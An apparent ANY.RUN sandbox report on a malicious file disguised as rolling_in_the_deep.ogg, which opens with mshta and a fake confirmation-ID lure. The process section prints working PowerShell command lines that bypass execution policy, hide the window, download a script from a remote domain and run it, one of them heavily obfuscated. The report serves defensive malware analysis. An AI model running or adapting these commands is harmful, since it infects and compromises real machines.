download:

/rolling_in_the_deep.ogg

Full analysis: https://app.any.run/tasks/1e084c7b-f308-4040-bf04-0ba5ec807c68
Verdict: Malicious activity
Analysis date: April 07, 2025, 00:26:50
OS: Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME: audio/mpeg
File info: Audio file with ID3 version 2.4.0, contains: MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo
MD5:

E8F649800BBB15BA8D85B776EED3F300

SHA1:

57D8EC09D4A8C4DB79F5C302BA7D5432346F9A45

SHA256:

766BACD20047AC085C8C581BD307A5C7774B7C0F9F7821F9B01DF79DD99668B0

SSDEEP:

98304:VqHO9MA0zIabn82aXytA125mzBeDlFwOpBZuoiExFV13I0KUcPo5atv9M7I7B7UH:2F57m1q2kI

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 8128)
      • powershell.exe (PID: 4892)
      • powershell.exe (PID: 4944)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7860)
      • powershell.exe (PID: 7084)
      • powershell.exe (PID: 8036)

    • Changes powershell execution policy (Bypass)

      • powershell.exe (PID: 7084)
      • powershell.exe (PID: 8036)
      • powershell.exe (PID: 7860)

    • Script downloads file (POWERSHELL)

      • powershell.exe (PID: 4892)
      • powershell.exe (PID: 4944)
      • powershell.exe (PID: 8128)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 7544)
      • mshta.exe (PID: 4120)
      • powershell.exe (PID: 7084)
      • mshta.exe (PID: 7624)
      • powershell.exe (PID: 8036)
      • powershell.exe (PID: 7860)

    • Returns all items found within a container (POWERSHELL)

      • powershell.exe (PID: 8128)
      • powershell.exe (PID: 4892)
      • powershell.exe (PID: 4944)

    • The process bypasses the loading of PowerShell profile settings

      • powershell.exe (PID: 7084)
      • powershell.exe (PID: 8036)
      • powershell.exe (PID: 7860)

  • INFO

    • Checks proxy server information

      • mshta.exe (PID: 7544)
      • mshta.exe (PID: 4120)
      • powershell.exe (PID: 4892)
      • mshta.exe (PID: 7624)
      • powershell.exe (PID: 4944)
      • powershell.exe (PID: 8128)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 7544)
      • mshta.exe (PID: 4120)
      • mshta.exe (PID: 7624)

    • Returns hidden items found within a container (POWERSHELL)

      • conhost.exe (PID: 7212)
      • conhost.exe (PID: 6032)
      • conhost.exe (PID: 8056)
      • conhost.exe (PID: 6068)

    • Creates or changes the value of an item property via Powershell

      • powershell.exe (PID: 7860)
      • powershell.exe (PID: 7084)
      • powershell.exe (PID: 8036)

    • Disables trace logs

      • powershell.exe (PID: 8128)
      • powershell.exe (PID: 4892)
      • powershell.exe (PID: 4944)

    • Manual execution by a user

      • mshta.exe (PID: 7624)
      • mshta.exe (PID: 4120)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 8128)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.mp3 | LAME encoded MP3 audio (ID3 v2.x tag) (62.5)
.mp3 | MP3 audio (ID3 v2.x tag) (37.5)

EXIF

MPEG

MPEGAudioVersion: 1
AudioLayer: 3
AudioBitrate: 128 kbps
SampleRate: 44100
ChannelMode: Joint Stereo
MSStereo: Off
IntensityStereo: Off
CopyrightFlag: -
OriginalMedia:
Emphasis: None
VBRFrames: 7995
VBRBytes: 5235757
VBRScale: 80
Encoder: LAME3.99r
LameVBRQuality: 2
LameQuality: -
LameMethod: VBR (new/mtrh)
LameLowPassFilter: 18.5 kHz
LameBitrate: 32 kbps
LameStereoMode: Joint Stereo

ID3

Title: Erick Fill & Alwaro - You'll Be Fine ft. Crushboys (Original Mix)
Artist: erickfill
Track: 26
RecordingTime: 2021
Genre: synthwave
SourceURL:
Composer: erickfill
PublisherURL: http://www.jamendo.com
Publisher: http://www.jamendo.com
UserDefinedText: (Tagging time) 2021-02-15T08:43:33
EncodedBy: Jamendo:http://www.jamendo.com| LAME
Comment: http://www.jamendo.com cc_standard
FileURL: http://www.jamendo.com/en/track/1834483
ArtistURL: http://www.jamendo.com/en/artist/503091
CopyrightURL: http://creativecommons.org/licenses/by-nc-nd/3.0/
Copyright: http://creativecommons.org/licenses/by-nc-nd/3.0/
PictureMIMEType: image/jpeg
PictureType: Front Cover
PictureDescription: -
Picture: (Binary data 14441 bytes, use -b option to extract)

Composite

DateTimeOriginal: 2021
AudioBitrate: 201 kbps
Duration: 0:03:29 (approx)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
144
Monitored processes
17
Malicious processes
3
Suspicious processes
6

Behavior graph

Click at the process to see the details
start mshta.exe sppextcomobj.exe no specs slui.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs mshta.exe powershell.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs mshta.exe powershell.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
4120"C:\WINDOWS\system32\mshta.exe" https://sys-update-o6ihgtt.oss-ap-southeast-1.aliyuncs.com/rolling_in_the_deep.ogg # TaskID: 394291 | SessionRef: FLOW-VR461 | Confirm Visual Flow ID: Z923C:\Windows\System32\mshta.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
4892"C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Set-Item Variable:N1 ([Net.WebClient]::New());Set-Variable V2 'https://dd4.cewal.fun/906dbd852e21bfdd5b13cfa79aa1ff65be9543092b3ddd2d.pot';[ScriptBlock]::Create((Get-Variable N1 -Value).(((([Net.WebClient]::New()|Get-Member)|Where-Object{(Get-ChildItem Variable:_).Value.Name -clike 'D*g'}).Name))((Get-ChildItem Variable:\V2).Value)).Invoke() C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
4944"C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Set-Item Variable:N1 ([Net.WebClient]::New());Set-Variable V2 'https://dd4.cewal.fun/906dbd852e21bfdd5b13cfa79aa1ff65be9543092b3ddd2d.pot';[ScriptBlock]::Create((Get-Variable N1 -Value).(((([Net.WebClient]::New()|Get-Member)|Where-Object{(Get-ChildItem Variable:_).Value.Name -clike 'D*g'}).Name))((Get-ChildItem Variable:\V2).Value)).Invoke() C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
6032\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6068\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7084"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 function JNAeF($kgsot) {return [char]::ConvertFromUtf32($kgsot)}&((JNAeF(0x69))+(JNAeF(0x65))+(JNAeF(0x78)))((JNAeF(0x53))+(JNAeF(0x74))+(JNAeF(0x61))+(JNAeF(0x72))+(JNAeF(0x74))+(JNAeF(0x2d))+(JNAeF(0x50))+(JNAeF(0x72))+(JNAeF(0x6f))+(JNAeF(0x63))+(JNAeF(0x65))+(JNAeF(0x73))+(JNAeF(0x73))+(JNAeF(0x20))+(JNAeF(0x22))+(JNAeF(0x24))+(JNAeF(0x65))+(JNAeF(0x6e))+(JNAeF(0x76))+(JNAeF(0x3a))+(JNAeF(0x77))+(JNAeF(0x69))+(JNAeF(0x6e))+(JNAeF(0x64))+(JNAeF(0x69))+(JNAeF(0x72))+(JNAeF(0x5c))+(JNAeF(0x53))+(JNAeF(0x79))+(JNAeF(0x73))+(JNAeF(0x57))+(JNAeF(0x4f))+(JNAeF(0x57))+(JNAeF(0x36))+(JNAeF(0x34))+(JNAeF(0x5c))+(JNAeF(0x57))+(JNAeF(0x69))+(JNAeF(0x6e))+(JNAeF(0x64))+(JNAeF(0x6f))+(JNAeF(0x77))+(JNAeF(0x73))+(JNAeF(0x50))+(JNAeF(0x6f))+(JNAeF(0x77))+(JNAeF(0x65))+(JNAeF(0x72))+(JNAeF(0x53))+(JNAeF(0x68))+(JNAeF(0x65))+(JNAeF(0x6c))+(JNAeF(0x6c))+(JNAeF(0x5c))+(JNAeF(0x76))+(JNAeF(0x31))+(JNAeF(0x2e))+(JNAeF(0x30))+(JNAeF(0x5c))+(JNAeF(0x70))+(JNAeF(0x6f))+(JNAeF(0x77))+(JNAeF(0x65))+(JNAeF(0x72))+(JNAeF(0x73))+(JNAeF(0x68))+(JNAeF(0x65))+(JNAeF(0x6c))+(JNAeF(0x6c))+(JNAeF(0x2e))+(JNAeF(0x65))+(JNAeF(0x78))+(JNAeF(0x65))+(JNAeF(0x22))+(JNAeF(0x20))+(JNAeF(0x2d))+(JNAeF(0x57))+(JNAeF(0x69))+(JNAeF(0x6e))+(JNAeF(0x64))+(JNAeF(0x6f))+(JNAeF(0x77))+(JNAeF(0x53))+(JNAeF(0x74))+(JNAeF(0x79))+(JNAeF(0x6c))+(JNAeF(0x65))+(JNAeF(0x20))+(JNAeF(0x48))+(JNAeF(0x69))+(JNAeF(0x64))+(JNAeF(0x64))+(JNAeF(0x65))+(JNAeF(0x6e))+(JNAeF(0x20))+(JNAeF(0x2d))+(JNAeF(0x41))+(JNAeF(0x72))+(JNAeF(0x67))+(JNAeF(0x75))+(JNAeF(0x6d))+(JNAeF(0x65))+(JNAeF(0x6e))+(JNAeF(0x74))+(JNAeF(0x4c))+(JNAeF(0x69))+(JNAeF(0x73))+(JNAeF(0x74))+(JNAeF(0x20))+(JNAeF(0x27))+(JNAeF(0x2d))+(JNAeF(0x4e))+(JNAeF(0x6f))+(JNAeF(0x50))+(JNAeF(0x72))+(JNAeF(0x6f))+(JNAeF(0x66))+(JNAeF(0x69))+(JNAeF(0x6c))+(JNAeF(0x65))+(JNAeF(0x27))+(JNAeF(0x2c))+(JNAeF(0x27))+(JNAeF(0x2d))+(JNAeF(0x45))+(JNAeF(0x78))+(JNAeF(0x65))+(JNAeF(0x63))+(JNAeF(0x75))+(JNAeF(0x74))+(JNAeF(0x69))+(JNAeF(0x6f))+(JNAeF(0x6e))+(JNAeF(0x50))+(JNAeF(0x6f))+(JNAeF(0x6c))+(JNAeF(0x69))+(JNAeF(0x63))+(JNAeF(0x79))+(JNAeF(0x27))+(JNAeF(0x2c))+(JNAeF(0x27))+(JNAeF(0x42))+(JNAeF(0x79))+(JNAeF(0x70))+(JNAeF(0x61))+(JNAeF(0x73))+(JNAeF(0x73))+(JNAeF(0x27))+(JNAeF(0x2c))+(JNAeF(0x27))+(JNAeF(0x2d))+(JNAeF(0x43))+(JNAeF(0x6f))+(JNAeF(0x6d))+(JNAeF(0x6d))+(JNAeF(0x61))+(JNAeF(0x6e))+(JNAeF(0x64))+(JNAeF(0x27))+(JNAeF(0x2c))+(JNAeF(0x27))+(JNAeF(0x53))+(JNAeF(0x65))+(JNAeF(0x74))+(JNAeF(0x2d))+(JNAeF(0x49))+(JNAeF(0x74))+(JNAeF(0x65))+(JNAeF(0x6d))+(JNAeF(0x20))+(JNAeF(0x56))+(JNAeF(0x61))+(JNAeF(0x72))+(JNAeF(0x69))+(JNAeF(0x61))+(JNAeF(0x62))+(JNAeF(0x6c))+(JNAeF(0x65))+(JNAeF(0x3a))+(JNAeF(0x4e))+(JNAeF(0x31))+(JNAeF(0x20))+(JNAeF(0x28))+(JNAeF(0x5b))+(JNAeF(0x4e))+(JNAeF(0x65))+(JNAeF(0x74))+(JNAeF(0x2e))+(JNAeF(0x57))+(JNAeF(0x65))+(JNAeF(0x62))+(JNAeF(0x43))+(JNAeF(0x6c))+(JNAeF(0x69))+(JNAeF(0x65))+(JNAeF(0x6e))+(JNAeF(0x74))+(JNAeF(0x5d))+(JNAeF(0x3a))+(JNAeF(0x3a))+(JNAeF(0x4e))+(JNAeF(0x65))+(JNAeF(0x77))+(JNAeF(0x28))+(JNAeF(0x29))+(JNAeF(0x29))+(JNAeF(0x3b))+(JNAeF(0x53))+(JNAeF(0x65))+(JNAeF(0x74))+(JNAeF(0x2d))+(JNAeF(0x56))+(JNAeF(0x61))+(JNAeF(0x72))+(JNAeF(0x69))+(JNAeF(0x61))+(JNAeF(0x62))+(JNAeF(0x6c))+(JNAeF(0x65))+(JNAeF(0x20))+(JNAeF(0x56))+(JNAeF(0x32))+(JNAeF(0x20))+(JNAeF(0x27))+(JNAeF(0x27))+(JNAeF(0x68))+(JNAeF(0x74))+(JNAeF(0x74))+(JNAeF(0x70))+(JNAeF(0x73))+(JNAeF(0x3a))+(JNAeF(0x2f))+(JNAeF(0x2f))+(JNAeF(0x64))+(JNAeF(0x64))+(JNAeF(0x34))+(JNAeF(0x2e))+(JNAeF(0x63))+(JNAeF(0x65))+(JNAeF(0x77))+(JNAeF(0x61))+(JNAeF(0x6c))+(JNAeF(0x2e))+(JNAeF(0x66))+(JNAeF(0x75))+(JNAeF(0x6e))+(JNAeF(0x2f))+(JNAeF(0x39))+(JNAeF(0x30))+(JNAeF(0x36))+(JNAeF(0x64))+(JNAeF(0x62))+(JNAeF(0x64))+(JNAeF(0x38))+(JNAeF(0x35))+(JNAeF(0x32))+(JNAeF(0x65))+(JNAeF(0x32))+(JNAeF(0x31))+(JNAeF(0x62))+(JNAeF(0x66))+(JNAeF(0x64))+(JNAeF(0x64))+(JNAeF(0x35))+(JNAeF(0x62))+(JNAeF(0x31))+(JNAeF(0x33))+(JNAeF(0x63))+(JNAeF(0x66))+(JNAeF(0x61))+(JNAeF(0x37))+(JNAeF(0x39))+(JNAeF(0x61))+(JNAeF(0x61))+(JNAeF(0x31))+(JNAeF(0x66))+(JNAeF(0x66))+(JNAeF(0x36))+(JNAeF(0x35))+(JNAeF(0x62))+(JNAeF(0x65))+(JNAeF(0x39))+(JNAeF(0x35))+(JNAeF(0x34))+(JNAeF(0x33))+(JNAeF(0x30))+(JNAeF(0x39))+(JNAeF(0x32))+(JNAeF(0x62))+(JNAeF(0x33))+(JNAeF(0x64))+(JNAeF(0x64))+(JNAeF(0x64))+(JNAeF(0x32))+(JNAeF(0x64))+(JNAeF(0x2e))+(JNAeF(0x70))+(JNAeF(0x6f))+(JNAeF(0x74))+(JNAeF(0x27))+(JNAeF(0x27))+(JNAeF(0x3b))+(JNAeF(0x5b))+(JNAeF(0x53))+(JNAeF(0x63))+(JNAeF(0x72))+(JNAeF(0x69))+(JNAeF(0x70))+(JNAeF(0x74))+(JNAeF(0x42))+(JNAeF(0x6c))+(JNAeF(0x6f))+(JNAeF(0x63))+(JNAeF(0x6b))+(JNAeF(0x5d))+(JNAeF(0x3a))+(JNAeF(0x3a))+(JNAeF(0x43))+(JNAeF(0x72))+(JNAeF(0x65))+(JNAeF(0x61))+(JNAeF(0x74))+(JNAeF(0x65))+(JNAeF(0x28))+(JNAeF(0x28))+(JNAeF(0x47))+(JNAeF(0x65))+(JNAeF(0x74))+(JNAeF(0x2d))+(JNAeF(0x56))+(JNAeF(0x61))+(JNAeF(0x72))+(JNAeF(0x69))+(JNAeF(0x61))+(JNAeF(0x62))+(JNAeF(0x6c))+(JNAeF(0x65))+(JNAeF(0x20))+(JNAeF(0x4e))+(JNAeF(0x31))+(JNAeF(0x20))+(JNAeF(0x2d))+(JNAeF(0x56))+(JNAeF(0x61))+(JNAeF(0x6c))+(JNAeF(0x75))+(JNAeF(0x65))+(JNAeF(0x29))+(JNAeF(0x2e))+(JNAeF(0x28))+(JNAeF(0x28))+(JNAeF(0x28))+(JNAeF(0x28))+(JNAeF(0x5b))+(JNAeF(0x4e))+(JNAeF(0x65))+(JNAeF(0x74))+(JNAeF(0x2e))+(JNAeF(0x57))+(JNAeF(0x65))+(JNAeF(0x62))+(JNAeF(0x43))+(JNAeF(0x6c))+(JNAeF(0x69))+(JNAeF(0x65))+(JNAeF(0x6e))+(JNAeF(0x74))+(JNAeF(0x5d))+(JNAeF(0x3a))+(JNAeF(0x3a))+(JNAeF(0x4e))+(JNAeF(0x65))+(JNAeF(0x77))+(JNAeF(0x28))+(JNAeF(0x29))+(JNAeF(0x7c))+(JNAeF(0x47))+(JNAeF(0x65))+(JNAeF(0x74))+(JNAeF(0x2d))+(JNAeF(0x4d))+(JNAeF(0x65))+(JNAeF(0x6d))+(JNAeF(0x62))+(JNAeF(0x65))+(JNAeF(0x72))+(JNAeF(0x29))+(JNAeF(0x7c))+(JNAeF(0x57))+(JNAeF(0x68))+(JNAeF(0x65))+(JNAeF(0x72))+(JNAeF(0x65))+(JNAeF(0x2d))+(JNAeF(0x4f))+(JNAeF(0x62))+(JNAeF(0x6a))+(JNAeF(0x65))+(JNAeF(0x63))+(JNAeF(0x74))+(JNAeF(0x7b))+(JNAeF(0x28))+(JNAeF(0x47))+(JNAeF(0x65))+(JNAeF(0x74))+(JNAeF(0x2d))+(JNAeF(0x43))+(JNAeF(0x68))+(JNAeF(0x69))+(JNAeF(0x6c))+(JNAeF(0x64))+(JNAeF(0x49))+(JNAeF(0x74))+(JNAeF(0x65))+(JNAeF(0x6d))+(JNAeF(0x20))+(JNAeF(0x56))+(JNAeF(0x61))+(JNAeF(0x72))+(JNAeF(0x69))+(JNAeF(0x61))+(JNAeF(0x62))+(JNAeF(0x6c))+(JNAeF(0x65))+(JNAeF(0x3a))+(JNAeF(0x5f))+(JNAeF(0x29))+(JNAeF(0x2e))+(JNAeF(0x56))+(JNAeF(0x61))+(JNAeF(0x6c))+(JNAeF(0x75))+(JNAeF(0x65))+(JNAeF(0x2e))+(JNAeF(0x4e))+(JNAeF(0x61))+(JNAeF(0x6d))+(JNAeF(0x65))+(JNAeF(0x20))+(JNAeF(0x2d))+(JNAeF(0x63))+(JNAeF(0x6c))+(JNAeF(0x69))+(JNAeF(0x6b))+(JNAeF(0x65))+(JNAeF(0x20))+(JNAeF(0x27))+(JNAeF(0x27))+(JNAeF(0x44))+(JNAeF(0x2a))+(JNAeF(0x67))+(JNAeF(0x27))+(JNAeF(0x27))+(JNAeF(0x7d))+(JNAeF(0x29))+(JNAeF(0x2e))+(JNAeF(0x4e))+(JNAeF(0x61))+(JNAeF(0x6d))+(JNAeF(0x65))+(JNAeF(0x29))+(JNAeF(0x29))+(JNAeF(0x28))+(JNAeF(0x28))+(JNAeF(0x47))+(JNAeF(0x65))+(JNAeF(0x74))+(JNAeF(0x2d))+(JNAeF(0x43))+(JNAeF(0x68))+(JNAeF(0x69))+(JNAeF(0x6c))+(JNAeF(0x64))+(JNAeF(0x49))+(JNAeF(0x74))+(JNAeF(0x65))+(JNAeF(0x6d))+(JNAeF(0x20))+(JNAeF(0x56))+(JNAeF(0x61))+(JNAeF(0x72))+(JNAeF(0x69))+(JNAeF(0x61))+(JNAeF(0x62))+(JNAeF(0x6c))+(JNAeF(0x65))+(JNAeF(0x3a))+(JNAeF(0x5c))+(JNAeF(0x56))+(JNAeF(0x32))+(JNAeF(0x29))+(JNAeF(0x2e))+(JNAeF(0x56))+(JNAeF(0x61))+(JNAeF(0x6c))+(JNAeF(0x75))+(JNAeF(0x65))+(JNAeF(0x29))+(JNAeF(0x29))+(JNAeF(0x2e))+(JNAeF(0x49))+(JNAeF(0x6e))+(JNAeF(0x76))+(JNAeF(0x6f))+(JNAeF(0x6b))+(JNAeF(0x65))+(JNAeF(0x28))+(JNAeF(0x29))+(JNAeF(0x27))+(JNAeF(0xd))+(JNAeF(0xa)))C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7212\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7544"C:\Windows\System32\mshta.exe" https://sys-update-o6ihgtt.oss-ap-southeast-1.aliyuncs.com/rolling_in_the_deep.ogg # TaskID: 394291 | SessionRef: FLOW-VR461 | Confirm Visual Flow ID: Z923C:\Windows\System32\mshta.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
7624"C:\WINDOWS\system32\mshta.exe" https://sys-update-o6ihgtt.oss-ap-southeast-1.aliyuncs.com/rolling_in_the_deep.ogg # TaskID: 394291 | SessionRef: FLOW-VR461 | Confirm Visual Flow ID: Z923C:\Windows\System32\mshta.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
7660C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
Total events
32 663
Read events
32 640
Write events
23
Delete events
0

Modification events

(PID) Process:(7544) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(7544) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(7544) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(8128) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(8128) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(8128) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(8128) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(8128) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(8128) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(8128) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
Executable files
0
Suspicious files
18
Text files
12
Unknown types
0

Dropped files

PID
Process
Filename
Type
7544mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81Bbinary
MD5:150395C9412F93DDFAC221D91172F5AF
SHA256:8A33334FE19D9E804E38901156527BA16E7189D5BC1CC50D9C30B7BB322D6E4D
7544mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_8C5CFF9217BEB8A4BB9FACCADF2F0937binary
MD5:45EA5B50D7181A576E16BECE1AFFAED2
SHA256:41C9ABF43602A1B161EDCCADD083A5C3BDBEF68C3906751F6A5393D8FA484629
7544mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240binary
MD5:12651A6D395CC4541709D9CAE6CE5CBD
SHA256:E9F809D9DF74FFD24F0DBAA9A75F9810DE8D40583D149E8878EB23AFA461F60E
7544mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\rolling_in_the_deep[1].oggbinary
MD5:2B718146B68DF89660E16BC2B8FAD074
SHA256:5F83DBAAF3F4862DD05E6881F515B50855883FC98BD07DB3C8BA04EABFF6E1E5
7544mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_8C5CFF9217BEB8A4BB9FACCADF2F0937binary
MD5:4A01A3BD0C9D12E7327D6C291D7E8729
SHA256:4D7F39AD1DF919D1EDBD78753AB73D3D5D499755EE24AD3847C4C6760398816B
